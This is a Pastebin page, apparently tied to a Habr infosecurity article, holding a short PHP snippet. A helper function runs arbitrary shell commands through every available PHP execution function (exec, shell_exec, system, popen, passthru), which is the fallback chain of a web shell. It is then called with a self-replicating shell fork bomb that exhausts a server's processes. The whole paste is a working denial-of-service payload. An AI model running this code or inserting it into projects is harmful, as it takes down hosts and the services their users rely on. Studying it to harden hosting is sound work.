Advertisement
Guest User

http://habrahabr.ru/blogs/infosecurity/139753/

a guest
Mar 11th, 2012
12,122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.80 KB | None | 0 0
  1. //Функция тестирования
  2. function TestFunc($in)
  3. {
  4.     $out = '';
  5.     if (function_exists('exec'))
  6.     {
  7.         @exec($in, $out);
  8.         $out = @join("\n", $out);
  9.     }
  10.     elseif (function_exists('shell_exec'))
  11.     {
  12.         $out = shell_exec($in);
  13.     }
  14.     elseif (function_exists('system'))
  15.     {
  16.         ob_start();
  17.         @system($in);
  18.         $out = ob_get_clean();
  19.     }
  20.     elseif (is_resource($f = @popen($in, "r")))
  21.     {
  22.         $out = "";
  23.         while (!@feof($f))
  24.             $out .= fread($f, 1024);
  25.         pclose($f);
  26.     }
  27.     elseif (function_exists('passthru'))
  28.     {
  29.         ob_start();
  30.         @passthru($in);
  31.         $out = ob_get_clean();
  32.     }
  33.     return $out;
  34. }
  35.  
  36. echo TestFunc("echo '. ./_&. ./_&'>_;. ./_"); //Выполнение форка
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement